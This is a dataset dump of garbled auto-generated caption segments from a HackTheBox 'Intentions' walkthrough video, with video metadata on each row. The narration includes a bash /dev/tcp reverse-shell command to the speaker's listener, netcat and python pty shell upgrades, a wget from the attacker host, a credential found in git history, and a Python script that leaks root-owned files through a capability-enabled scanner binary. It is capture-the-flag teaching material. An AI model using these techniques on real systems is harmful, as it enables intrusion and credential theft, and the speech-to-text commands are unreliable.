commands we did who am I and it's dub dubdub data so let's get a shell so let's just do b-c b-i Dev TCP 10148 9,1 0 and one like that and then encode everything and let's do NCL lvmp 91 catch the shell python 3-c import PTY PTY spawn bin Bash oh shoot python 3-c import PTY PTY spawn b bash stty raw minus Echo FG and th... | 3,652.48 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
data at least I don't think it is let's see let's get out of storage and go into public and then there's a storage here just want to make sure it's not in two places right yeah so we can't write to the animals but we can write the public and that's where everything else is so um huzzah now let us look at things and we ... | 3,731.839 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
into Dev shm and man that's a lot of files so if I go back into public we can move Dev shm get here and then just W get 10 10 11 220 SLG bz2 I think it's the gz I made I always get those tar commands mixed up but this will download that g repo and man this is a big repo and did not expect it to be this big okay let's m... | 3,810.52 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
see the database change we could step through each of them but this is the one that seems most interesting to me so we can do a get diff copy that and that and let's see so we have off login Greg at intentions and Greg is the best developer 1998 so looks like we have a potential credential here if I do a GP for everyth... | 3,885.76 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
what op scanner is see that is I was expecting some type of set uid file because normally when a CTF does something like this like the pointing towards this binary let's see what type of binary this is it is built in goang so normally it's to like exploit some privilege maybe it's a capability get cap op scanner scanne... | 3,970.039 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
files um H is a colon separated hash file that's not that interesting L this is going to be how many byes of the file it reads it defaults to 500 and then P will print the calculated file hash only let's see I thought there would be one oh s for some reason I completely missed the S this is going to be a specific hash ... | 4,037.76 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
this it doesn't match so essentially what we're going to do is create a program that will leak characters one bite at a time and just keep incrementing this right so now we did the md5 sum for RO because the first two characters is that and we have it matched so this is now going to become a coding challenge so let's c... | 4,124.04 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
maybe not so no matter what the programs executed is going to be zero so we have to be able to get the output of the program in order to identify um if we have anything so I'm going to import subprocess and then we can do a uh subprocess do run and then we want to specify the program so opt scanner scanner and then wha... | 4,190.199 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
subprocess pipe like that see I can put this on two lines so it's a bit easier for you to read There we go and then we want to um call this result and then we can say print result. standard out and print the length of result. standard out okay let's let's copy this Python 3 run it result is not defined what I guess it ... | 4,252.36 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
do file and then we'll also need to Hash whatever a guess is so I'm going to import hash lib and then we can do um hash is equal to to hash li. | 4,360.719 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
md5 then guess encode hex digest that's right do hash like that and the length we need to do Len guess and this also has to be a string because right now Python's going to have that as an integer so I'll just make that a string okay so that looks good and now we can say if the length of result standard out is greater t... | 4,377.08 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
so I'm going to do this in probably a really bad way so I'm going to import string and I'm going to say the character set is going to be string. asky letters plus string. digits plus and then let's see base 64 character set I think it's plus period and Slash and equals because if we do the basic 64 character set we can... | 4,459.96 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
keys and then we can say while loop for character in care set then if root we're going to just do this and I guess we probably should have verified this file exist first um hold on one second okay if it's successful a pen guest print we want to end with nothing and definitely flush okay so what I was doing there is the... | 4,554.96 | 0 | {
"video_id": "YmRDV0JR4qg",
"title": "HackTheBox - Intentions",
"url": "https://www.youtube.com/watch?v=YmRDV0JR4qg"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.